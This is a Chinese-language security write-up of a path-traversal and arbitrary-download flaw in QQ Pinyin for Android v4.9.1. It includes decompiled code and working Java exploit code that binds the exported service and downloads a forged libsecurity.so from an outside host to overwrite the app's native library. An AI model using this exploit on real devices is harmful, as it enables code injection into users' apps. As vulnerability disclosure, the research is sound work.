QQ拼音for Android v4.9.1 so劫持/感染

Intro

QQ拼音for Android v4.9.1的导出组件com.tencent.qqpinyin.voice.DownloadApkService没有对传入的下载地址进行过滤,导致任意文件下载,且没有对传入的文件名进行合法性校验,导致目录遍历。加上其本身Apk的特点,可以使用该组件感染/劫持so文件。之前没注意QQ拼音已经归属搜狗,2015-04-27提交到了TSRC,告知已转交搜狗。至今漏洞依然存在,但从v4.9.2开始lib目录有所变化,无法感染/劫持。

漏洞细节

查看AndroidManifest.xml文件,发现com.tencent.qqpinyin.voice.DownloadApkService导出:

<service android:name=".voice.DownloadApkService" android:process=":remote">
    <intent-filter>
        <action android:name="com.tencent.qqpinyin.download.apk" />
    </intent-filter>
</service>

DownloadApkService关键代码如下:

public class DownloadApkService extends Service {
    private String apkName;
    private String apkPath;
    private IDownloadApkCallback callback;
    private DownloadHanlder handler;
    private boolean isCancel;
    private final IDownloadApkService$Stub mBinder;
    private DownloadApkService$DownLoadThread mDownLoadThread;
    private int progress;
    public DownloadApkService() {
        super();
        this.handler = null;
        this.callback = null;
        this.apkName = null;
        this.mDownLoadThread = null;
        this.progress = 0;
        this.apkPath = null;
        this.isCancel = false;
        this.mBinder = new DownloadApkService$3(this);
    }
    public IBinder onBind(Intent arg2) {
        return this.mBinder;
    }
    public void onCreate() {
        super.onCreate();
        this.handler = new DownloadHanlder(((Context)this), 101);
        this.apkName = null;
    }
    public int onStartCommand(Intent arg2, int arg3, int arg4) {
        return super.onStartCommand(arg2, arg3, arg4);
    }
    public boolean onUnbind(Intent arg2) {
        return super.onUnbind(arg2);
    }
}

所以,绑定了该服务即可通过mBinder进行远程调用。mBinder是DownloadApkService$3,实现的接口如下:

public interface IDownloadApkService extends IInterface {
    void cancelDownload();
    void destoryService();
    int getProgress();
    void hideBackTask();
    void registerCallback(IDownloadApkCallback arg1);
    void startBackTask();
    void startDownload(String arg1, String arg2);
}

DownloadApkService$3的startDownload实际上调用的是DownloadApkService的download函数:

public void startDownload(String arg2, String arg3) {
    DownloadApkService.this.apkName = arg3;
    DownloadApkService.this.download(arg2, arg3);
}

download函数如下:

private void download(String arg7, String arg8) {
    if(!TextUtils.isEmpty(((CharSequence)arg7))) {
        this.isCancel = false;
        this.progress = 0;
        DownloadApkService$1 downloadApkService$1 = new DownloadApkService$1(this, this.getMainLooper());
        this.apkPath = QSDCard.getPath() + this.getResources().getString(2131165543) + File.separator + arg8;
        this.mDownLoadThread = new DownloadApkService$DownLoadThread(this, new DownloadApkService$DownLoadTask(
                this, this, ((Handler)downloadApkService$1), arg7, this.apkPath));
        this.mDownLoadThread.start();
    }
}

所以,实际上调用的是DownloadApkService$DownLoadTask进行下载。程序预期在/storage/emulated/0/Tencent/QQInput/Apk/目录下写入文件,由于没有处理”../”,导致目录遍历,可以将文件写入任意位置。

利用方法

和其他Service的利用有点差别,远程调用Binder需要在绑定后使用transact进行调用,通过Parcel传递返回值和参数。每一个函数的对应调用号可以在IDownloadApkService$Stub中找到:

static final int TRANSACTION_cancelDownload = 2;
static final int TRANSACTION_destoryService = 5;
static final int TRANSACTION_getProgress = 4;
static final int TRANSACTION_hideBackTask = 7;
static final int TRANSACTION_registerCallback = 6;
static final int TRANSACTION_startBackTask = 3;
static final int TRANSACTION_startDownload = 1;

然后利用起来就十分简单了:

private boolean call_download_service(String file_url, String download_path) {
  boolean status = false;
  if (!is_download_service_bound || download_service == null) {
    return status;
  }
  try {
    Parcel data = Parcel.obtain();
    Parcel reply = Parcel.obtain();
    data.writeInterfaceToken(INTERFACE_TOKEN);
    data.writeString(file_url);
    data.writeString(download_path);
    if (!download_service.transact(1, data, reply, 0)) {
      return status;
    }
    data.recycle();
    reply.recycle();
    status = true;
  } catch (RemoteException e) {
    Log.e(TAG, "RemoteException raised.");
    e.printStackTrace();
    return status;
  }
  return status;
}
@Click
void doDownloadArbitraryFile() {
  if (is_download_service_bound) {
    String file_url = "http://shouji.360tpcdn.com/150922/76da5c4a51ea8b6881a5da4e0a835249/com.qihoo.appstore_300030250.apk";
    String download_path = "tencentmobilemanager5.5.0.apk";
    call_download_service(file_url, download_path);
  } else {
    // TODO: show toast.
  }
}

关于感染/劫持

在QQ拼音for Android v4.9.1这个版本中,apk运行时所需的so文件并没有保存在apk的lib目录下,而是保存在了Apk的/res/raw/目录下,运行的时候释放到/data/data/com.tencent.qqpinyin/app_lib/目录并加载运行。在Android系统中,App自身无法写入/data/data/[PACKAGE_NAME]/lib/目录,只可读取。QQ拼音for Android v4.9.1的这种设计则绕过这种设计,并且在加载时只做了文件是否存在的校验,并没有其他完整性校验。利用如下代码可以感染libsecurity.so文件:

@Click
void doInfectLibSecurity() {
  if (is_download_service_bound) {
    String file_url = "http://thecjw.0GiNr.com/7e8b56123e6d56f85e4d2af7a2def57c/libFakeSecurity.so";
    String download_path = "../../../../../../data/data/com.tencent.qqpinyin/app_lib/libsecurity.so";
    call_download_service(file_url, download_path);
  } else {
    // TODO: show toast.
  }
}

伪造的libsecurity.so被加载的时候会drop原始的so,并调用原始的JNI_Onload。效果如图所示:

完整代码请参考QQPinyinExp。

其他

4.9.2后的版本,所用的so文件放在了lib目录下,无法直接写入。然而,com.tencent.connect.auth.AuthDialog会尝试加载的/data/data/com.tencent.qqpinyin/files/libwbsafeedit.so:

package com.tencent.connect.auth;
public class AuthDialog extends Dialog {
    static {
        try {
            Context context = Global.getContext();
            if(context != null) {
                if(new File(context.getFilesDir().toString() + "/libwbsafeedit.so").exists()) {
                    System.load(context.getFilesDir().toString() + "/libwbsafeedit.so");
                    f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib success.");
                    return;
                }
                f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because so is not exists.");
                return;
            }
            f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because context is null.");
        }
        catch(Exception exception) {
            f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib error.", ((Throwable)exception));
        }
    }

看起来这是腾讯SSO的一个SDK,但目前没发现能触发的操作。如果其他App也用了这个SDK,配合额其他类似的漏洞,也可以达到劫持和感染的目的。

发表评论